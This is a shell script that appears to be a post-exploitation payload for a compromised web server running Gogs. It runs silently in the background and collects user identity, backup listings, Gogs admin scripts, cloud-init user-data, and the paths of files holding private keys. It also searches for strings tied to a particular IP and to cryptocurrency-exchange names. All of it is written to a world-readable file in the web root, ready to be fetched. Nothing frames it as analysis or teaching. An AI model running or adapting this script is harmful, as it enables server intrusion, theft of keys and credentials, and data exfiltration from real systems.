#!/bin/sh
TAG="4361812"
D="/var/www/html/z44361812"
if mkdir "$D" 2>/dev/null; then
  (
    exec </dev/null >/dev/null 2>&1
    export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    O="$D/out4.txt"
    {
      echo "== identity =="; date -u; id
      echo "== var backups =="; ls -laR /var/backups 2>/dev/null | head -100
      echo "== gogs scripts =="; ls -la /root/gogs/scripts 2>/dev/null; for f in /root/gogs/scripts/*; do [ -f "$f" ] && { echo "--- $f"; head -50 "$f"; }; done 2>/dev/null | head -300
      echo "== cloud-init =="; ls -la /var/lib/cloud/instance 2>/dev/null; cat /var/lib/cloud/instance/user-data.txt 2>/dev/null | head -80; cat /var/lib/cloud/instance/meta-data/instance-id 2>/dev/null
      echo "== usr local =="; ls -la /usr/local/bin /usr/local/etc /usr/local/sbin 2>/dev/null; find /usr/local -maxdepth 3 -type f 2>/dev/null | head -50
      echo "== profile.d =="; cat /etc/profile.d/*.sh 2>/dev/null | head -100; cat /etc/bash.bashrc 2>/dev/null | head -40
      echo "== broad grep electro =="; grep -rIa -E '37\.187\.9\.48|bitcoin-mjenjacnica|electrocoin|paycek|mjenjacnica|intercard' /root /home /opt /srv /var/www /etc /usr/local /var/lib/cloud 2>/dev/null --exclude-dir=gogs-repositories --exclude-dir=.git --exclude-dir=x4358081 --exclude-dir=y4358475 --exclude-dir=z4361330 2>/dev/null | grep -v 'z4361330\|z24361616' | head -80
      echo "== private key material =="; grep -rIal 'PRIVATE KEY' /root /home /opt /srv /var/www /etc /usr/local /var/lib/cloud 2>/dev/null --exclude-dir=gogs-repositories --exclude-dir=.git | head -40
      echo "== backup files =="; find / -xdev -type f -size -200k \( -name '*.bak' -o -name '*.old' -o -name '*.save' -o -name '*~' -o -name '*.orig' \) -not -path '/proc/*' -not -path '/usr/*' -not -path '/var/cache/*' 2>/dev/null | head -60
      echo "== npm anywhere =="; find / -xdev -iname '*npm*' -not -path '/proc/*' -not -path '/sys/*' -not -path '/usr/share/doc/*' -not -path '/usr/lib/*' -not -path '/usr/src/*' 2>/dev/null | head -60
      echo "== gogs data tmp =="; find /root/gogs/data/tmp -maxdepth 3 2>/dev/null | head -60
      echo "== done =="
    } > "$O" 2>&1
    chmod -R a+rX "$D" 2>/dev/null
    touch "$D/.done4"
  ) &
fi
exit 0
